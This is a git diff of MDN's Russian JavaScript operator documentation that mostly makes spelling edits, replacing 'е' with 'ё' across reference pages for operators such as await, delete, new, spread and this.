@@ -8,7 +8,7 @@ translation_of: Web/JavaScript/Reference/Operators/Addition
 ---
 
          {{jsSidebar("Operators")}}
          
 
-
          Оператор сложения (+) создает сумму числовых операндов или конкатенацию строк.
          
+
          Оператор сложения (+) создаёт сумму числовых операндов или конкатенацию строк.
          {{EmbedInteractiveExample("pages/js/expressions-addition.html")}}
          
 
diff --git a/files/ru/web/javascript/reference/operators/await/index.html b/files/ru/web/javascript/reference/operators/await/index.html
index ecce9884c5..6159cd8b19 100644
--- a/files/ru/web/javascript/reference/operators/await/index.html
+++ b/files/ru/web/javascript/reference/operators/await/index.html
@@ -22,7 +22,7 @@ translation_of: Web/JavaScript/Reference/Operators/await
 
 
          Описание
          
 
-
          Оператор await заставляет функцию, объявленную с использованием оператора async, ждать выполнения Promise и продолжать выполнение после возвращения Promise значения. Впоследствии возвращает полученное из  Promise значение. Если типом значения, к которому был применен оператор await, является не Promise, то значение приводится к успешно выполненному Promise.
          
+
          Оператор await заставляет функцию, объявленную с использованием оператора async, ждать выполнения Promise и продолжать выполнение после возвращения Promise значения. Впоследствии возвращает полученное из  Promise значение. Если типом значения, к которому был применён оператор await, является не Promise, то значение приводится к успешно выполненному Promise.
          Если Promise отклоняется, то await генерирует исключение с отклонённым значением.
          
 
@@ -54,7 +54,7 @@ f1();
 f2();
 
 
-
          Если Promise отклонен, то выбрасывается исключение с переданным значением.
          
+
          Если Promise отклонён, то выбрасывается исключение с переданным значением.
          async function f3() {
   try {
diff --git a/files/ru/web/javascript/reference/operators/bitwise_and/index.html b/files/ru/web/javascript/reference/operators/bitwise_and/index.html
index 6c08ef0ded..099bbe37cd 100644
--- a/files/ru/web/javascript/reference/operators/bitwise_and/index.html
+++ b/files/ru/web/javascript/reference/operators/bitwise_and/index.html
@@ -72,7 +72,7 @@ translation_of: Web/JavaScript/Reference/Operators/Bitwise_AND
 14 & 9 (base 10) = 00000000000000000000000000001000 (base 2) = 8 (base 10)
 
          
 
-
          Побитовое И для любого числа x с 0 дает 0.
          
+
          Побитовое И для любого числа x с 0 даёт 0.
          Примеры
          
 
diff --git a/files/ru/web/javascript/reference/operators/comma_operator/index.html b/files/ru/web/javascript/reference/operators/comma_operator/index.html
index 85d739fdab..de9bc91731 100644
--- a/files/ru/web/javascript/reference/operators/comma_operator/index.html
+++ b/files/ru/web/javascript/reference/operators/comma_operator/index.html
@@ -31,13 +31,13 @@ original_slug: Web/JavaScript/Reference/Operators/Оператор_Запята
 
 
          Примеры
          
 
-
          Если a это двумерный массив элементов размерностью 10 х 10, то приведенный ниже код использует оператор запятая для одновременного изменения двух переменных за раз.
          
+
          Если a это двумерный массив элементов размерностью 10 х 10, то приведённый ниже код использует оператор запятая для одновременного изменения двух переменных за раз.
          Следующий код выводит в консоль значения диагональных элементов массива:
          for (let i = 0, j = 9; i <= 9; i++, j--)
   console.log("a[" + i + "][" + j + "] = " + a[i][j]);
          
 
-
          Заметьте, что запятая при объявлении переменной var, let или const не является оператором запятая, так как в данном случае она находится не в выражении. Скорее, это спец символ в объявлении переменных, комбинирующий их множество в одно выражение. Практически, эта запятая ведет себя почти так же, как и запятая.
          
+
          Заметьте, что запятая при объявлении переменной var, let или const не является оператором запятая, так как в данном случае она находится не в выражении. Скорее, это спец символ в объявлении переменных, комбинирующий их множество в одно выражение. Практически, эта запятая ведёт себя почти так же, как и запятая.
            // подобное объявление запрещено в строгом режиме(strict mode)
 
diff --git a/files/ru/web/javascript/reference/operators/conditional_operator/index.html b/files/ru/web/javascript/reference/operators/conditional_operator/index.html
index 8b035ad9e4..7eabde0687 100644
--- a/files/ru/web/javascript/reference/operators/conditional_operator/index.html
+++ b/files/ru/web/javascript/reference/operators/conditional_operator/index.html
@@ -42,9 +42,9 @@ original_slug: Web/JavaScript/Reference/Operators/Условный_операт
 
 
          var firstCheck = false,
     secondCheck = false,
-    access = firstCheck ? "Доступ запрещен" : secondCheck ? "Доступ запрещен" : "Доступ разрешен";
+    access = firstCheck ? "Доступ запрещён" : secondCheck ? "Доступ запрещён" : "Доступ разрешён";
 
-console.log( access ); // выводит в консоль "Доступ разрешен"
          
+console.log( access ); // выводит в консоль "Доступ разрешён"
          Тернарные операции можно использовать и сами по себе - для выполнения различных операций:
          
 
@@ -62,18 +62,18 @@ age > 18 ? (
     location.assign("continue.html")
 ) : (
     stop = true,
-    alert("Простите, вы еще так юны!")
+    alert("Простите, вы ещё так юны!")
 );
 
 
-
          При присвоении значения также возможно выполнение более одной операции. В этом случае переменной будет присвоено то значение, которое стоит последним в списке значений, разделенных запятой.
          
+
          При присвоении значения также возможно выполнение более одной операции. В этом случае переменной будет присвоено то значение, которое стоит последним в списке значений, разделённых запятой.
          var age = 16;
 
 var url = age > 18 ? (
     alert("Хорошо, вы можете продолжить."),
-    // alert вернет "undefined", но это будет проигнорировано, потому что
-    // не является последним в списке значений, разделенных запятой
+    // alert вернёт "undefined", но это будет проигнорировано, потому что
+    // не является последним в списке значений, разделённых запятой
     "continue.html" // значение будет присвоено, если age > 18
 ) : (
     alert("Вы слишком молоды!"),
diff --git a/files/ru/web/javascript/reference/operators/delete/index.html b/files/ru/web/javascript/reference/operators/delete/index.html
index 2edf33b67e..d7722fa829 100644
--- a/files/ru/web/javascript/reference/operators/delete/index.html
+++ b/files/ru/web/javascript/reference/operators/delete/index.html
@@ -64,18 +64,18 @@ delete property // удаляет свойства глобальног
 
          delete эффективен только применительно к свойствам объектов. Он не оказывает никакого влияния на имена переменных и функций.
          
  Присвоение значения свойству без указания объекта (без оператора var) иногда неверно характеризуется, как глобальная переменная, (например x = 5). На самом деле происходит присвоение значения свойству глобального объекта.
          
 
-
          delete не может удалить определенные свойства встроенных объектов (таких как Object, Array, Math и так далее). В спецификации ECMA-262 они обозначены как DontDelete.
          
+
          delete не может удалить определённые свойства встроенных объектов (таких как Object, Array, Math и так далее). В спецификации ECMA-262 они обозначены как DontDelete.
          
 
-
          x = 42;         // создает свойство x в глобальном объекте
+
          x = 42;         // создаёт свойство x в глобальном объекте
 var y = 43;     // объявляет новую переменную, y
 myobj = {};
-myobj.h = 4;    // создает свойство h в myobj
-myobj.k = 5;    // создает свойство k в myobj
+myobj.h = 4;    // создаёт свойство h в myobj
+myobj.k = 5;    // создаёт свойство k в myobj
 
 delete x;       // возвращает true  (x - свойство глобального объекта и может быть удалено)
 delete y;       // возвращает false (delete не влияет на имена переменных)
-delete Math.PI; // возвращает false (delete не влияет на определенные встроенные свойства)
-delete myobj.h; // возвращает true  (свойства, определенные пользователем могут быть удалены)
+delete Math.PI; // возвращает false (delete не влияет на определённые встроенные свойства)
+delete myobj.h; // возвращает true  (свойства, определённые пользователем могут быть удалены)
 
 with(myobj) {
     delete k;   // возвращает true  (эквивалентно delete myobj.k)
@@ -89,7 +89,7 @@ delete myobj;   // возвращает true  (myobj это свойство г
 Foo.prototype.bar = 42;
 var foo = new Foo();
 delete foo.bar;           // возвращает true, но безрезультатно, так как bar - наследуемое свойство
-alert(foo.bar);           // выводит 42, свойство все еще наследуется
+alert(foo.bar);           // выводит 42, свойство все ещё наследуется
 delete Foo.prototype.bar; // удаляет свойство из прототипа
 alert(foo.bar);           // выводит "undefined", свойство больше не наследуется
          
 
@@ -106,7 +106,7 @@ if (3 in trees) {
     // этот участок кода не выполнится
 }
          
 
-
          Если Вы хотите, чтобы элемент массива существовал, но имел значение undefined, используйте значение undefined вместо оператора delete. В следующем примере, trees{{ mediawiki.external(3) }} принимает значение undefined, но элемент массива все еще существует:
          
+
          Если Вы хотите, чтобы элемент массива существовал, но имел значение undefined, используйте значение undefined вместо оператора delete. В следующем примере, trees{{ mediawiki.external(3) }} принимает значение undefined, но элемент массива все ещё существует:
          
 
 
          var trees = ["redwood","bay","cedar","oak","maple"];
 trees[3]=undefined;
@@ -116,9 +116,9 @@ if (3 in trees) {
 
 
          Проблема кроссбраузерности
          
 
-
          Несмотря на то, что стандарт ECMAScript оставляет порядок итерации по свойствам объектов на усмотрение реализующей стороны, может оказаться так, что все основные браузеры поддерживают порядок итерации, основанный на принципе "свойство добавленное в объект раньше идет раньше" (по крайней мере для свойств не находящихся в прототипе). Однако, в случае с Internet Explorer, когда кто-нибудь использует delete с каким-либо свойством, это приводит к некоторым неожиданным результатам, заставляя другие браузеры отказаться от использования простых объектов, таких как литералы объектов, в качестве ассоциативных массивов. В Internet Explorer, когда значение свойства установлено в undefined, после удаления этого свойства, если кто-нибудь позже добавит свойство с таким же именем, оно окажется в своей старой позиции, а не в конце итерационной последовательности, как ожидается.
          
+
          Несмотря на то, что стандарт ECMAScript оставляет порядок итерации по свойствам объектов на усмотрение реализующей стороны, может оказаться так, что все основные браузеры поддерживают порядок итерации, основанный на принципе "свойство добавленное в объект раньше идёт раньше" (по крайней мере для свойств не находящихся в прототипе). Однако, в случае с Internet Explorer, когда кто-нибудь использует delete с каким-либо свойством, это приводит к некоторым неожиданным результатам, заставляя другие браузеры отказаться от использования простых объектов, таких как литералы объектов, в качестве ассоциативных массивов. В Internet Explorer, когда значение свойства установлено в undefined, после удаления этого свойства, если кто-нибудь позже добавит свойство с таким же именем, оно окажется в своей старой позиции, а не в конце итерационной последовательности, как ожидается.
          
 
-
          Поэтому, если Вы хотите симулировать упорядоченный ассоциативный массив в кроссбраузерной среде, вам придется либо использовать два отдельных массива (один для ключей и один для значений), либо построить массив из объектов с одним свойством и так далее.
          
+
          Поэтому, если Вы хотите симулировать упорядоченный ассоциативный массив в кроссбраузерной среде, вам придётся либо использовать два отдельных массива (один для ключей и один для значений), либо построить массив из объектов с одним свойством и так далее.
          
 
 
          Внешние ссылки
          
 
diff --git a/files/ru/web/javascript/reference/operators/in/index.html b/files/ru/web/javascript/reference/operators/in/index.html
index 7260b5913e..7570704fb8 100644
--- a/files/ru/web/javascript/reference/operators/in/index.html
+++ b/files/ru/web/javascript/reference/operators/in/index.html
@@ -58,7 +58,7 @@ var color2 = "coral";
 "length" in color2
 
          
 
-
          Использование оператора in с неопределенными или с уже удаленными свойствами
          
+
          Использование оператора in с неопределёнными или с уже удалёнными свойствами
          
 
 
          Если вы удалили свойство при помощи оператора delete, то оператор in возвратит false для этого свойства.
          
 
@@ -71,7 +71,7 @@ delete trees[3];
 3 in trees; // false
 
          
 
-
          Если вы зададите свойству значение {{jsxref("Global_Objects/undefined", "undefined")}}, но не удалите его, то для этого свойства оператор in вернет значение true.
          
+
          Если вы зададите свойству значение {{jsxref("Global_Objects/undefined", "undefined")}}, но не удалите его, то для этого свойства оператор in вернёт значение true.
          var mycar = {make: "Honda", model: "Accord", year: 1998};
 mycar.make = undefined;
diff --git a/files/ru/web/javascript/reference/operators/instanceof/index.html b/files/ru/web/javascript/reference/operators/instanceof/index.html
index dd264b0a07..a9274710e2 100644
--- a/files/ru/web/javascript/reference/operators/instanceof/index.html
+++ b/files/ru/web/javascript/reference/operators/instanceof/index.html
@@ -109,7 +109,7 @@ myDate instanceof String;   // возвращает false
 
 
          Показывает, что mycar имеет тип Car и тип Object
          
 
-
          Следующий код создает тип Car и экземпляр этого типа, mycar. Оператор instanceof показывает, что объект mycar имеет тип Car и тип Object.
          
+
          Следующий код создаёт тип Car и экземпляр этого типа, mycar. Оператор instanceof показывает, что объект mycar имеет тип Car и тип Object.
          
 
 
          function Car(make, model, year) {
   this.make = make;
diff --git a/files/ru/web/javascript/reference/operators/new.target/index.html b/files/ru/web/javascript/reference/operators/new.target/index.html
index bab9b8e956..5feccb7b52 100644
--- a/files/ru/web/javascript/reference/operators/new.target/index.html
+++ b/files/ru/web/javascript/reference/operators/new.target/index.html
@@ -47,8 +47,8 @@ Foo(); // ошибка "Foo() must be called with new"
 
 class B extends A { constructor() { super(); } }
 
-var a = new A(); // вернет "A"
-var b = new B(); // вернет "B"
+var a = new A(); // вернёт "A"
+var b = new B(); // вернёт "B"
 
          
 
 
          Спецификации
          
diff --git a/files/ru/web/javascript/reference/operators/new/index.html b/files/ru/web/javascript/reference/operators/new/index.html
index b6f4ed80b7..6afdd75f04 100644
--- a/files/ru/web/javascript/reference/operators/new/index.html
+++ b/files/ru/web/javascript/reference/operators/new/index.html
@@ -9,7 +9,7 @@ translation_of: Web/JavaScript/Reference/Operators/new
 ---
 
          {{jsSidebar("Operators")}}
          
 
-
          Оператор (операторная функция) new создает экземпляр объекта, встроенного или определенного пользователем, имеющего конструктор.
          
+
          Оператор (операторная функция) new создаёт экземпляр объекта, встроенного или определённого пользователем, имеющего конструктор.
          
 
 
          Синтаксис
          
 
@@ -29,7 +29,7 @@ translation_of: Web/JavaScript/Reference/Operators/new
 
 
          Описание
          
 
-
          Создание объекта, определенного пользователем, требует два шага:
          
+
          Создание объекта, определённого пользователем, требует два шага:
          
 
 
            
  
          1. Написать функцию, которая задаст тип объекта.
            2. 
@@ -41,14 +41,14 @@ translation_of: Web/JavaScript/Reference/Operators/new
 
            Когда исполняется new Foo(...) , происходит следующее:
            
 
 
              
- 
            1. Создается новый объект, наследующий Foo.prototype.
              2. 
+ 
            2. Создаётся новый объект, наследующий Foo.prototype.
              3. 
  
            3. Вызывается конструктор — функция Foo с указанными аргументами и this, привязанным к только что созданному объекту. new Foo эквивалентно new Foo(), то есть если аргументы не указаны, Foo вызывается без аргументов.
              4. 
- 
            4. Результатом выражения new становится объект, возвращенный конструктором. Если конструктор не возвращает объект явно, используется объект из п. 1. (Обычно конструкторы не возвращают значение, но они могут делать это, если нужно переопределить обычный процесс создания объектов.)
              5. 
+ 
            5. Результатом выражения new становится объект, возвращённый конструктором. Если конструктор не возвращает объект явно, используется объект из п. 1. (Обычно конструкторы не возвращают значение, но они могут делать это, если нужно переопределить обычный процесс создания объектов.)
              6. 
 
            
 
 
            Всегда можно добавить свойство к уже созданному объекту. Например, car1.color = "black" добавляет свойство color к объекту car1, и присваивает ему значение "black". Это не затрагивает другие объекты. Чтобы добавить свойство ко всем объектам типа, нужно добавлять его в определение типа Car.
            
 
-
            Добавить свойство к ранее определенному типу можно используя свойство Function.prototype. Это определит свойство для всех объектов, созданных этой функцией, а не только у какого-либо экземпляра. Следующий пример добавляет свойство color со значением null всем объектам типа car, а потом меняет его на  "black" только у экземпляра car1. Больше информации в статье prototype.
            
+
            Добавить свойство к ранее определённому типу можно используя свойство Function.prototype. Это определит свойство для всех объектов, созданных этой функцией, а не только у какого-либо экземпляра. Следующий пример добавляет свойство color со значением null всем объектам типа car, а потом меняет его на  "black" только у экземпляра car1. Больше информации в статье prototype.
            
 
 
            function Car() {}
 car1 = new Car();
@@ -80,7 +80,7 @@ console.log(car1.color);   // black
 
            var mycar = new Car("Eagle", "Talon TSi", 1993);
 
            
 
-
            Это выражение создает экземпляр mycar и присваивает его свойствам указанные значения. Таким образом, mycar.make принимает значение "Eagle", mycar.year принимает значение 1993, и так далее.
            
+
            Это выражение создаёт экземпляр mycar и присваивает его свойствам указанные значения. Таким образом, mycar.make принимает значение "Eagle", mycar.year принимает значение 1993, и так далее.
            
 
 
            Можно создать любое количество экземпляров car с помощью оператора new. Например:
            
 
diff --git a/files/ru/web/javascript/reference/operators/nullish_coalescing_operator/index.html b/files/ru/web/javascript/reference/operators/nullish_coalescing_operator/index.html
index 71484f05a1..a8482f38c8 100644
--- a/files/ru/web/javascript/reference/operators/nullish_coalescing_operator/index.html
+++ b/files/ru/web/javascript/reference/operators/nullish_coalescing_operator/index.html
@@ -131,7 +131,7 @@ console.log(foo.someBarProp?.toUpperCase()); // undefined
 
 
            Прогресс реализации
            
 
-
            В следующей таблице приведено ежедневное состояние реализации этой функции, поскольку эта функция еще не достигла стабильности в разных браузерах. Данные генерируются путем запуска соответствующих тестов функциональности в Test262, стандартном наборе тестов JavaScript, в ночной сборке или в последней версии движка JavaScript каждого браузера.
            
+
            В следующей таблице приведено ежедневное состояние реализации этой функции, поскольку эта функция ещё не достигла стабильности в разных браузерах. Данные генерируются путём запуска соответствующих тестов функциональности в Test262, стандартном наборе тестов JavaScript, в ночной сборке или в последней версии движка JavaScript каждого браузера.
            
 
 
            {{EmbedTest262ReportResultsTable("coalesce-expression")}}
            
 
diff --git a/files/ru/web/javascript/reference/operators/object_initializer/index.html b/files/ru/web/javascript/reference/operators/object_initializer/index.html
index 5f8d445e0d..8487de375a 100644
--- a/files/ru/web/javascript/reference/operators/object_initializer/index.html
+++ b/files/ru/web/javascript/reference/operators/object_initializer/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Operators/Object_initializer
 ---
 
            {{JsSidebar("Операторы")}}
            
 
-
            Объекты могут быть инициализированы с помощью new Object(), Object.create() или литеральной (инициирующей) нотации. Инициализатор объекта это разделенный запятыми список ноль или более пар имен свойств и ассоциируемых с ними значений, заключенных в фигурные скобки ({}).
            
+
            Объекты могут быть инициализированы с помощью new Object(), Object.create() или литеральной (инициирующей) нотации. Инициализатор объекта это разделённый запятыми список ноль или более пар имён свойств и ассоциируемых с ними значений, заключённых в фигурные скобки ({}).
            
 
 
            Синтаксис
            
 
@@ -26,16 +26,16 @@ var o = {
 
 
            Пожалуйста, просмотрите таблицу поддержки этих нотаций. В неподдерживаемом окружении, эти нотации приведут к синтаксической ошибке.
            
 
-
            // Сокращение имен свойств (ES2015)
+
            // Сокращение имён свойств (ES2015)
 var a = 'foo', b = 42, c = {};
 var o = {a, b, c};
 
-// Сокращение имен методов (ES2015)
+// Сокращение имён методов (ES2015)
 var o = {
   property([parameters]) {}
 };
 
-// Вычисление имен свойств (ES2015)
+// Вычисление имён свойств (ES2015)
 var prop = 'foo';
 var o = {
   [prop]: 'hey',
@@ -52,7 +52,7 @@ var o = {
 
 
            var object = {};
            
 
-
            Однако, преимущество литеральной или инициирующей нотации это возможность быстро создавать объекты со свойствами внутри фигурных скобок. Создается простой список пар ключ: значение, разделенных запятой. Следующий код создает объект с тремя парами значений и ключи это "foo", "age" и "baz". Значения этих ключей строка "bar", число 42 и другой объект.
            
+
            Однако, преимущество литеральной или инициирующей нотации это возможность быстро создавать объекты со свойствами внутри фигурных скобок. Создаётся простой список пар ключ: значение, разделённых запятой. Следующий код создаёт объект с тремя парами значений и ключи это "foo", "age" и "baz". Значения этих ключей строка "bar", число 42 и другой объект.
            
 
 
            var object = {
   foo: 'bar',
@@ -90,14 +90,14 @@ var o = {
     b = 42,
     c = {};
 
-// Сокращение имен свойств (ES2015)
+// Сокращение имён свойств (ES2015)
 var o = {a, b, c};
 
 // Иначе говоря,
 console.log((o.a === {a}.a)); // true
 
            
 
-
            Повторение имен свойств
            
+
            Повторение имён свойств
            
 
 
            Когда используются одинаковые имена свойств, второе свойство перезапишет первое.
            
 
@@ -105,14 +105,14 @@ console.log((o.a === {a}.a)); // true
 console.log(a); // {x: 2}
 
            
 
-
            В строгом режиме ECMAScript 5, повторение имен свойств будет воспринято как {{jsxref("SyntaxError")}}.  С введением вычисляемых имен свойств и появлением возможности создавать дубликаты во время выполнения кода, ECMAScript 2015 убрал это ограничение.
            
+
            В строгом режиме ECMAScript 5, повторение имён свойств будет воспринято как {{jsxref("SyntaxError")}}.  С введением вычисляемых имён свойств и появлением возможности создавать дубликаты во время выполнения кода, ECMAScript 2015 убрал это ограничение.
            
 
 
            function haveES2015DuplicatePropertySemantics() {
   'use strict';
   try {
     ({prop: 1, prop: 2});
 
-    // Не будет ошибки, повторение имен доступно в строгом режиме
+    // Не будет ошибки, повторение имён доступно в строгом режиме
     return true;
   } catch(e) {
     // Будет ошибка, дубликаты запрещены в строгом режиме
@@ -132,7 +132,7 @@ console.log(a); // {x: 2}
 
 
            В ECMAScript 2015, доступна короткая нотация, поэтому слово "function" более не обязательно.
            
 
-
            // Сокращение имен методов (ES2015)
+
            // Сокращение имён методов (ES2015)
 var o = {
   property([parameters]) {},
   *generator() {}
@@ -243,7 +243,7 @@ assert(obj3.__proto__ === 17);
  
          2. В JSON значения могут быть только строками, числами, массивами, true, false, null или другими (JSON) объектами.
            3. 
  
          3. Значения-функции (смотри "Методы" выше) не могут быть присвоены свойствам в JSON.
            4. 
  
          4. Объект вида {{jsxref("Date")}} будет строкой после {{jsxref("JSON.parse()")}}.
            5. 
- 
          5. {{jsxref("JSON.parse()")}} отклонит вычисляемые имена свойств и вернет ошибку.
            6. 
+ 
          6. {{jsxref("JSON.parse()")}} отклонит вычисляемые имена свойств и вернёт ошибку.
            7. 
 
 
 
            Спецификации
            
diff --git a/files/ru/web/javascript/reference/operators/optional_chaining/index.html b/files/ru/web/javascript/reference/operators/optional_chaining/index.html
index 959d17c800..b82d793eee 100644
--- a/files/ru/web/javascript/reference/operators/optional_chaining/index.html
+++ b/files/ru/web/javascript/reference/operators/optional_chaining/index.html
@@ -48,7 +48,7 @@ let nestedProp = ((temp === null || temp === undefined) ? undefined : temp.secon
 
 
            Вы можете использовать ?., когда необходимо вызвать метод, которого может не существовать. Это может быть полезно, например, при использовании API, в котором метод может быть недоступен из-за устаревания или не поддерживаем ости устройством пользователя.
            
 
-
            Использование ?. с вызовом функции значит, что выполнение автоматически вернет undefined, а не выбросит исключение, если метод не найден:
            
+
            Использование ?. с вызовом функции значит, что выполнение автоматически вернёт undefined, а не выбросит исключение, если метод не найден:
            
 
 
            let result = someInterface.customMethod?.();
            
 
@@ -101,7 +101,7 @@ myMap.set("foo", {name: "baz", desc: "inga"});
 
 let nameBar = myMap.get("bar")?.name;
            
 
-
            Сокращенное выполнение
            
+
            Сокращённое выполнение
            
 
 
            При использовании оператора опциональной последовательности в выражениях, где левая часть операнда равна null или undefined, выражение не будет выполнено. Например:
            
 
diff --git a/files/ru/web/javascript/reference/operators/pipeline_operator/index.html b/files/ru/web/javascript/reference/operators/pipeline_operator/index.html
index ec069c9e24..3fee1a8a0d 100644
--- a/files/ru/web/javascript/reference/operators/pipeline_operator/index.html
+++ b/files/ru/web/javascript/reference/operators/pipeline_operator/index.html
@@ -58,7 +58,7 @@ double(increment(double(double(5)))); // 42
   
          
-   
+   
          
  Таблица пробельных символов
 
 
 
 
 
 
  
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
          
    Pipeline operator draft
    Этап 1Еще не включен в спецификацию ECMAScript.Ещё не включён в спецификацию ECMAScript.
   
          
            
 
          
diff --git a/files/ru/web/javascript/reference/operators/spread_syntax/index.html b/files/ru/web/javascript/reference/operators/spread_syntax/index.html
index c96be61337..1019bdd757 100644
--- a/files/ru/web/javascript/reference/operators/spread_syntax/index.html
+++ b/files/ru/web/javascript/reference/operators/spread_syntax/index.html
@@ -44,7 +44,7 @@ translation_of: Web/JavaScript/Reference/Operators/Spread_syntax
 var args = [0, 1, 2];
 myFunction.apply(null, args);
          
 
-
          С spread syntax вышеприведенное можно записать как:
          
+
          С spread syntax вышеприведённое можно записать как:
          
 
 
          function myFunction(x, y, z) { }
 var args = [0, 1, 2];
@@ -58,7 +58,7 @@ myFunction(-1, ...args, 2, ...[3]);
          
 
 
          Apply для new
          
 
-
          Вызывая конструктор через ключевое слово new, невозможно использовать массив и apply напрямую (apply выполняет [[Call]], а не [[Construct]]).Однако благодаря spread syntax, массив может быть с легкостью использован со словом new:
          
+
          Вызывая конструктор через ключевое слово new, невозможно использовать массив и apply напрямую (apply выполняет [[Call]], а не [[Construct]]).Однако благодаря spread syntax, массив может быть с лёгкостью использован со словом new:
          
 
 
          var dateFields = [1970, 0, 1];  // 1 Jan 1970
 var d = new Date(...dateFields);
@@ -103,7 +103,7 @@ var lyrics = ['head', ...parts, 'and', 'toes'];
 // ["head", "shoulders", "knees", "and", "toes"]
 
          
 
-
          Аналогично развертыванию в массиве аргументов, ... может быть использован повсеместно и многократно в литерале массива.
          
+
          Аналогично развёртыванию в массиве аргументов, ... может быть использован повсеместно и многократно в литерале массива.
          
 
 
          Копирование массива
          
 
@@ -147,7 +147,7 @@ var arr2 = [3, 4, 5];
 // Prepend all items from arr2 onto arr1
 Array.prototype.unshift.apply(arr1, arr2) // arr1 is now [3, 4, 5, 0, 1, 2]
          
 
-
          С использованием spread syntax [Следует отметить, что такой способ создает новый массив arr1. В отличие от {{jsxref("Array.unshift")}}, исходный массив не мутируется]:
          
+
          С использованием spread syntax [Следует отметить, что такой способ создаёт новый массив arr1. В отличие от {{jsxref("Array.unshift")}}, исходный массив не мутируется]:
          
 
 
          var arr1 = [0, 1, 2];
 var arr2 = [3, 4, 5];
@@ -183,11 +183,11 @@ var mergedObj = merge ( obj1, obj2);
 var mergedObj = merge ( {}, obj1, obj2);
 // Object { 0: {}, 1: { foo: 'bar', x: 42 }, 2: { foo: 'baz', y: 13 } }
          
 
-
          В приведенном выше примере оператор распространения не работает так, как можно было бы ожидать: он распространяет массив аргументов в литерал объекта благодаря параметру rest.
          
+
          В приведённом выше примере оператор распространения не работает так, как можно было бы ожидать: он распространяет массив аргументов в литерал объекта благодаря параметру rest.
          
 
 
          Только для итерируемых объектов
          
 
-
          Spread syntax ( кроме случаев spread properties) может быть применен только к итерируемым объектам (iterable objects) :
          
+
          Spread syntax ( кроме случаев spread properties) может быть применён только к итерируемым объектам (iterable objects) :
          
 
 
          var obj = {'key1': 'value1'};
 var array = [...obj]; // TypeError: obj is not iterable
diff --git a/files/ru/web/javascript/reference/operators/this/index.html b/files/ru/web/javascript/reference/operators/this/index.html
index 59761d890e..b373d12fa1 100644
--- a/files/ru/web/javascript/reference/operators/this/index.html
+++ b/files/ru/web/javascript/reference/operators/this/index.html
@@ -13,7 +13,7 @@ translation_of: Web/JavaScript/Reference/Operators/this
 
 
          Поведение ключевого слова this в JavaScript несколько отличается по сравнению с остальными языками. Имеются также различия при использовании this в строгом и нестрогом режиме.
          
 
-
          В большинстве случаев значение this определяется тем, каким образом вызвана функция. Значение this не может быть установлено путем присваивания во время исполнения кода и может иметь разное значение при каждом вызове функции. В ES5 представлен метод {{jsxref('Function.prototype.bind()', 'bind()')}}, который используется для {{jsxref('Operators/this','привязки значения ключевого слова this независимо от того, как вызвана функция','Метод_bind')}}. Также в ES2015 представлены {{jsxref('Functions/Arrow_functions', 'стрелочные функции')}}, которые не создают собственные привязки к this (они сохраняют значение this лексического окружения, в котором были созданы).
          
+
          В большинстве случаев значение this определяется тем, каким образом вызвана функция. Значение this не может быть установлено путём присваивания во время исполнения кода и может иметь разное значение при каждом вызове функции. В ES5 представлен метод {{jsxref('Function.prototype.bind()', 'bind()')}}, который используется для {{jsxref('Operators/this','привязки значения ключевого слова this независимо от того, как вызвана функция','Метод_bind')}}. Также в ES2015 представлены {{jsxref('Functions/Arrow_functions', 'стрелочные функции')}}, которые не создают собственные привязки к this (они сохраняют значение this лексического окружения, в котором были созданы).
          
 
 
          {{EmbedInteractiveExample("pages/js/expressions-this.html")}}
          
 
@@ -65,7 +65,7 @@ f1() === window; // window - глобальный объект в браузер
 f1() === global; // global - глобальный объект в Node
 
          
 
-
          В строгом режиме, если значение this не установлено в контексте выполнения, оно остается undefined, как показано в следующем примере:
          
+
          В строгом режиме, если значение this не установлено в контексте выполнения, оно остаётся undefined, как показано в следующем примере:
          
 
 
          function f2(){
   "use strict"; // см. strict mode
@@ -77,7 +77,7 @@ f2() === undefined; // true
 
 
          Во втором примере this должно иметь значение {{jsxref("undefined")}}, потому что функция f2 была вызвана напрямую, а не как метод или свойство объекта (например, window.f2()). Реализация этой особенности не поддерживалась в некоторых браузерах, когда они впервые начали поддерживать {{jsxref('Strict_mode', 'строгий режим')}}. В результате они некорректно возвращали объект window.
          
 
-
          Для того, чтобы при вызове функции установить this в определенное значение, используйте {{jsxref('Function.prototype.call()', 'call()')}} или {{jsxref('Function.prototype.apply()', 'apply()')}}, как в следующих примерах.
          
+
          Для того, чтобы при вызове функции установить this в определённое значение, используйте {{jsxref('Function.prototype.call()', 'call()')}} или {{jsxref('Function.prototype.apply()', 'apply()')}}, как в следующих примерах.
          
 
 
          Пример 1
          
 
@@ -128,7 +128,7 @@ bar.call('foo'); // [object String]
 
 
          Метод bind
          
 
-
          ECMAScript 5 представил {{jsxref("Function.prototype.bind()")}}. Вызов f.bind(someObject) создает новую функцию с тем же телом и областью действия, что и f, но там, где в исходной функции используется this, в новой функции оно постоянно будет связано с первым аргументом bind, независимо от того, как функция используется.
          
+
          ECMAScript 5 представил {{jsxref("Function.prototype.bind()")}}. Вызов f.bind(someObject) создаёт новую функцию с тем же телом и областью действия, что и f, но там, где в исходной функции используется this, в новой функции оно постоянно будет связано с первым аргументом bind, независимо от того, как функция используется.
          
 
 
          function f() {
   return this.a;
@@ -155,7 +155,7 @@ console.log(foo() === globalObject); // true
          
 
          Note: если аргумент this передаётся в call, bind или apply при вызове стрелочной функции, он будет проигнорирован. Вы всё ещё можете добавить аргументы к вызову, но первый аргумент (thisArg) должен быть установлен в null.
          
 
 
-
          Неважно, как стрелочная функция foo() будет вызвана, её значение this будет указывать на глобальный объект. this будет сохранять свое значение, даже если функция foo() будет вызвана как метод объекта (что в обычных функциях связывает this с объектом вызова) или с использованием методов call, apply или bind:
          
+
          Неважно, как стрелочная функция foo() будет вызвана, её значение this будет указывать на глобальный объект. this будет сохранять своё значение, даже если функция foo() будет вызвана как метод объекта (что в обычных функциях связывает this с объектом вызова) или с использованием методов call, apply или bind:
          
 
 
          // Вызов функции как метода объекта
 var obj = {foo: foo};
@@ -170,7 +170,7 @@ console.log(foo() === globalObject); // true
          
 
 
          Несмотря ни на что, this стрелочной функции foo() имеет то же значение, что и при создании функции (глобальный объект в примере выше). То же самое касается стрелочных функций, созданных внутри других функций: их this будет привязан к окружению.
          
 
-
          // Создаем объект obj, содержащий метод bar, который возвращает функцию,
+
          // Создаём объект obj, содержащий метод bar, который возвращает функцию,
 // которая возвращает свой this. Возвращаемая функция создана
 // как стрелочная функция, таким образом её this постоянно замкнут
 // на this функции, в которой она создана. Значение bar может быть установлено
@@ -195,7 +195,7 @@ var fn2 = obj.bar;
